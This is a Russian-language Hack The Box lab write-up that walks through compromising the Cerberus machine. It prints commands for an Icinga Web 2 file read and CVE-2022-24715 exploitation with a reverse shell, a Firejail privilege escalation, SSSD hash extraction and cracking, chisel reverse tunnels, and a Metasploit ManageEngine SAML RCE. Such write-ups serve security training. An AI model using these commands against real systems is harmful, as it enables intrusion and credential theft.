Хакер - HTB Cerberus. Захватываем контроллер домена Windows через баг SAML SSO

Хакер - HTB Cerberus. Захватываем контроллер домена Windows через баг SAML SSO

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий (хост 1)
  • Продвижение
  • Локальное повышение привилегий (хост 2)
  • Active Directory Federation Services

В этом рай­тапе я покажу, как экс­плу­ати­ровать уяз­вимость в сер­висе ADSelfService Plus для зах­вата домена Active Directory. По дороге зах­ватим хост на Linux, рас­кру­тив цепоч­ку уяз­вимос­тей в сис­теме монито­рин­га Icinga Web 2. Повысим при­виле­гии бла­года­ря дыре в сен­дбок­се Firejail и сдам­пим учет­ные дан­ные из SSSD.

По­может нам в этом тре­ниро­воч­ная машина Cerberus с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «слож­ный».

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.205 cerberus.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го один откры­тый порт! Это порт 8080, на котором работа­ет веб‑сер­вер Apache 2.4.52. При этом в заголов­ке http-title сра­зу отоб­ражен редирект на домен icinga.cerberus.local, который мы добав­ляем в файл /etc/hosts.

10.10.11.205 cerberus.htb icinga.cerberus.local cerberus.local

Те­перь перехо­дим по это­му адре­су в бра­узе­ре, и нас встре­чает опен­сор­сная сис­тема монито­рин­га Icinga Web 2.

Фор­ма авто­риза­ции icinga.cerberus.local

 ТОЧКА ВХОДА

Пер­вым делом нуж­но поис­кать сущес­тву­ющие экс­пло­иты для най­ден­ной сис­темы. Мне уда­лось вый­ти на блог, где опи­саны уяз­вимос­ти для Icinga Web 2. И пер­вое, что прив­лека­ет вни­мание, — это баг, поз­воля­ющий читать про­изволь­ные фай­лы на хос­те.

Опи­сание уяз­вимос­ти чте­ния про­изволь­ных фай­лов

Про­буем ука­зан­ным в опи­сании спо­собом про­читать файл /etc/hosts.

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts

Со­дер­жимое фай­ла /etc/hosts

Но одно дело — иметь такую воз­можность, а дру­гое — знать, какие фай­лы читать. В этом поможет до­кумен­тация Icinga, где мож­но пос­мотреть име­на и опи­сание фай­лов с нас­трой­ками. Пер­вый инте­рес­ный файл — это confing.ini. Он содер­жит гло­баль­ные нас­трой­ки, к при­меру путь к фай­лам модулей.

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/config.ini

Со­дер­жимое фай­ла config.ini

Вто­рой инте­рес­ный файл — resources.ini. В нем записа­ны учет­ные дан­ные для под­клю­чения к базе дан­ных.

http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini

Со­дер­жимое фай­ла resources.ini

С эти­ми учет­ными дан­ными получа­ется авто­ризо­вать­ся на сай­те.

Глав­ная стра­ница Icinga

ТОЧКА ОПОРЫ

Те­перь у нас есть дос­туп к сай­ту, и мож­но перей­ти к дру­гой опи­сан­ной в том же ресер­че уяз­вимос­ти CVE-2022-24715. Аутен­тифици­рован­ные поль­зовате­ли с дос­тупом к нас­трой­кам фрей­мвор­ка могут соз­давать фай­лы ресур­сов SSH в неп­редус­мотрен­ных катало­гах, что при­водит к выпол­нению про­изволь­ного кода. Уяз­вимость зак­люча­ется в неп­равиль­ной про­вер­ке передан­ной стро­ки в коде на PHP. Если исполь­зовать null-байт, то при про­вер­ке он будет учтен и стро­ка получит­ся обре­зан­ной, но в момент записи в файл null-байт не будет учи­тывать­ся, что при­ведет к записи допол­нитель­ных дан­ных.

Опи­сание уяз­вимос­ти

Пе­ред тем как пытать­ся вос­про­извести эти дей­ствия вруч­ную, мож­но пос­мотреть, нет ли в интерне­те готово­го кода, который авто­мати­зиру­ет этот слож­ный про­цесс. Пер­вая ссыл­ка на GitHub при­водит к рабоче­му экс­пло­иту. Но преж­де чем пус­кать его в ход, мы дол­жны сге­нери­ровать SSH-ключ.

ssh-keygen -t rsa -m pem

Пос­ле это­го запус­каем лис­тенер:

pwncat-cs -lp 4321

И выпол­няем файл экс­пло­ита:

python3 exploit.py -t http://icinga.cerberus.local:8080/icingaweb2/ -I 10.10.14.75 -P 4321 -u matthew -p IcingaWebPassword2023 -e id_rsa

Ре­зуль­тат выпол­нения экс­пло­ита

Мо­мен­таль­но на лис­тенере появ­ляет­ся сес­сия от име­ни поль­зовате­ля www-data.

Сес­сия в pwncat-cs

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ (ХОСТ 1)

Те­перь нам нуж­но соб­рать информа­цию о сис­теме. Я буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

В выводе мно­го информа­ции, поэто­му отбе­рем толь­ко зна­чимую.

На хос­те есть необ­ходимые для выпол­нения кода биб­лиоте­ки MySQL.

Свя­зан­ные с MySQL дан­ные

Сре­ди фай­лов с уста­нов­ленным битом SUID есть неиз­вес­тный бинарь firejail.

Фай­лы с выс­тавлен­ным битом SUID

Ин­форма­ция о сетевом интерфей­се рас­кры­вает адрес сети — 172.16.22.0.

Ин­форма­ция о сетевом интерфей­се

В дереве про­цес­сов находим работа­ющий SSSD — демон для управле­ния дос­тупом к служ­бам катало­гов и механиз­мам про­вер­ки под­линнос­ти.

Де­рево про­цес­сов

Так­же отме­чаем SSSD сре­ди про­филей AppArmor.

Про­фили AppArmor

На хос­те при­сутс­тву­ет файл /etc/krb5.conf, содер­жащий нас­трой­ки Kerberos для работы в домене.

Со­дер­жимое фай­ла /etc/krb5.conf

Ин­форма­ции, конеч­но, мно­го, но наибо­лее здесь важ­но, что у бинар­ного фай­ла firejail есть бит SUID.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Firejail — это сис­тема изо­лиро­ван­ного выпол­нения гра­фичес­ких, кон­соль­ных и сер­верных при­ложе­ний, которая сни­жает риск наруше­ния безопас­ности за счет огра­ниче­ния рабочей сре­ды потен­циаль­но уяз­вимых прог­рамм. Для это­го исполь­зуют­ся прос­транс­тва имен, филь­тра­ция сис­темных вызовов и воз­можнос­ти AppArmor.

В таких слу­чаях нуж­но обя­затель­но про­верить тех­ники GTFOBins или сущес­тву­ющие экс­пло­иты, так как глав­ная задача — прос­то получить неп­редумыш­ленное выпол­нение кода. Быс­трый поиск экс­пло­итов в Google показал, что это вер­ный путь.

По­иск экс­пло­итов в Google

Пер­вая же ссыл­ка при­водит к рабоче­му экс­пло­иту, который я и исполь­зовал. Единс­твен­ное неудобс­тво — для экс­плу­ата­ции нам нуж­но сде­лать еще одну сес­сию. Тог­да в пер­вой сес­сии мы запус­каем экс­пло­ит, а во вто­рой исполь­зуем Firejail для получе­ния при­виле­гиро­ван­ного шел­ла.

Пер­вая сес­сия — выпол­нение экс­пло­ита

firejail --join=35256

Вто­рая сес­сия — получе­ние при­виле­гиро­ван­ного шел­ла

Де­мон SSSD может кеширо­вать учет­ные дан­ные в локаль­ной базе дан­ных.

Со­дер­жимое катало­га /var/lib/sss/db/

По­лучим все стро­ки из фай­ла cache_cerberus.local.ldb.

strings /var/lib/sss/db/cache_cerberus.local.ldb

Стро­ки в фай­ле cache_cerberus.local.ldb

В выводе видим хеш пароля поль­зовате­ля, этот хеш нам пред­сто­ит переби­рать. Но пер­вым делом с помощью справ­ки hashcat опре­делим его тип.

hashcat --example | grep '\$6\$' -A2 -B11

Справ­ка hashcat

Те­перь ука­зыва­ем получен­ный режим перебо­ра хеша — 1800. На выходе получа­ем пароль.

hashcat -m 1800 -a 0 hash.txt rockyou.txt

Ре­зуль­тат перебо­ра хеша

Что­бы понять, где мож­но авто­ризо­вать­ся с эти­ми учет­ными дан­ными, прос­каниру­ем пор­ты на кон­трол­лере домена.

./nmap -p- --min-rate=1500 172.16.22.1

Ре­зуль­тат ска­ниро­вания пор­тов

На хос­те работа­ет служ­ба WinRM, и, что­бы под­клю­чить­ся к ней, сде­лаем тун­нель. Для это­го будем исполь­зовать chisel. На локаль­ном хос­те запус­тим сер­вер, ожи­дающий под­клю­чения (параметр --reverse) на порт 8888 (параметр -p).

./chisel.bin server -p 8888 --reverse

Ло­ги chisel server

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а так­же нас­трой­ки тун­нелиро­вания: с локаль­ного пор­та 8888 на порт 5985 хос­та 172.16.22.1.

./chisel.bin client 10.10.14.75:8888 R:5985:172.16.22.1:5985

Ло­ги chisel client

В логах сер­вера мы дол­жны уви­деть сооб­щение о соз­дании сес­сии. Как толь­ко сес­сия будет соз­дана, про­буем авто­ризо­вать­ся на служ­бе WinRM с помощью инс­тру­мен­та Evil-WinRM.

evil-winrm -i 127.0.0.1 -u 'matthew' -p '147258369'

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ (ХОСТ 2)

Нам сно­ва нуж­но про­вес­ти раз­ведку, и сно­ва исполь­зуем PEASS, на этот раз вер­сию для Windows.

В спис­ке поль­зовате­лей отме­чаем поль­зовате­ля служ­бы ADFS.

Най­ден­ные домаш­ние катало­ги поль­зовате­лей

От­меча­ем откры­тые для локаль­ного хос­та нес­тандар­тные пор­ты 8888 и 9251.

Спи­сок откры­тых пор­тов

Про­верим, что рас­положе­но на пор­те 9251, для чего нем­ного изме­ним тун­нель chisel. Для дос­тупа к хос­ту будем исполь­зовать тун­нель Socks, а для дос­тупа к внут­ренне­му пор­ту будем про­киды­вать этот порт.

# --- socks ---

#remote linux

chisel.bin client 10.10.14.75:8888 R:socks

# --- port forwarding ---

#remote windows

chisel.exe client 10.10.14.75:8888 R:9251:127.0.0.1:9251

Ло­ги сер­вера chisel

При попыт­ке прос­мотреть порт через бра­узер нам сооб­щают о небезо­пас­ном под­клю­чении, то есть необ­ходимо исполь­зовать HTTPS.

Со­обще­ние на сай­те

Пов­торя­ем обра­щение к сер­веру, про­ходим ряд редирек­тов и встре­чаем типич­ную фор­му авто­риза­ции ADFS.

Стра­ница авто­риза­ции ADFS

Те­перь пару слов о том, что это такое.

Active Directory Federation Services

ADFS — это фун­кция Active Directory, которая обес­печива­ет иден­тифика­цию дос­тупа и дает воз­можность кли­ентам (в основном на базе бра­узе­ров) внут­ри или за пре­дела­ми локаль­ной сети получать дос­туп к веб‑при­ложе­ниям по тех­нологии single sign-on (SSO). Так ADFS извле­кает атри­буты поль­зовате­лей из Active Directory, а так­же про­веря­ет под­линность поль­зовате­лей в Active Directory.

Служ­ба федера­ции ADFS — ком­понент сер­верной плат­формы Microsoft Windows Server, реали­зующий «сер­вис мар­керов дос­тупа» (STS), который исполь­зует служ­бу катало­га Active Directory для аутен­тифика­ции поль­зовате­лей и хра­нения информа­ции о них.

Ос­новные опе­рации:

  • пер­воначаль­ная аутен­тифика­ция поль­зовате­ля;
  • вы­пуск мар­кера дос­тупа (Issue);
  • про­вер­ка мар­кера дос­тупа (Validate);
  • об­новле­ние мар­кера дос­тупа (Renew);
  • ан­нулиро­вание мар­кера дос­тупа (Cancel).

Мар­кер дос­тупа выпус­кает­ся по фак­ту успешной аутен­тифика­ции и дос­товер­но иден­тифици­рует поль­зовате­ля при­ложе­ния. Что­бы получить мар­кер дос­тупа, поль­зователь пре­дос­тавля­ет учет­ные дан­ные AD либо свой сер­тификат.

Мар­кер дос­тупа соот­ветс­тву­ет спе­цифи­кации SAML Token, которая опре­деля­ет син­таксис и струк­туру мар­кера. Это рас­ширя­емый фор­мат, что поз­воля­ет фор­мировать содер­жание мар­кера в соот­ветс­твии с тре­бова­ниями при­ложе­ния, к которо­му осу­щест­вля­ется дос­туп. Срок дей­ствия мар­кера и область при­мене­ния огра­ничен­ны. Мар­кер дос­тупа содер­жит информа­цию о поль­зовате­ле в фор­ме набора утвер­жде­ний (Claims), которые исполь­зуют­ся при­ложе­нием для соз­дания кон­тек­ста поль­зовате­ля.

Поп­робу­ем авто­ризо­вать­ся в ADFS и получить мар­кер дос­тупа.

По­луче­ние GUID токена (мар­кера дос­тупа)

Нем­ного поис­сле­довав фай­ловую сис­тему, находим про­дукт ManageEngine ADSelfService Plus, который как раз и пред­став­ляет собой интегри­рован­ное решение для самос­тоятель­ного управле­ния пароля­ми и еди­ного вхо­да. Из базы получим Issuer URL, прос­то греп­нув фай­лы по стро­ке.

ls -r | Select-String issuer_url | select line,path

По­луче­ние Issuer URL

В самом ManageEngine есть нашумев­шая уяз­вимость CVE-2022-47966, которая при­водит к уда­лен­ному выпол­нению кода. Авто­мати­зиро­ван­ный экс­пло­ит уже появил­ся в Metasploit Framework. У нас есть необ­ходимые для экс­плу­ата­ции парамет­ры — GUID токена и Issuer URL.

proxychains -q msfconsole

use manageengine_adselfservice_plus_saml_rce_cve_2022_47966

set GUID 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f

set ISSUER_URL http://dc.cerberus.local/adfs/services/trust

set RHOST 127.0.0.1

set RPORT 9251

set LHOST 10.10.14.56

exploit

Экс­плу­ата­ция уяз­вимос­ти

Мы получи­ли сес­сию и теперь прос­то забира­ем флаг рута.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно:https://t.me/hacker_frei



Report Page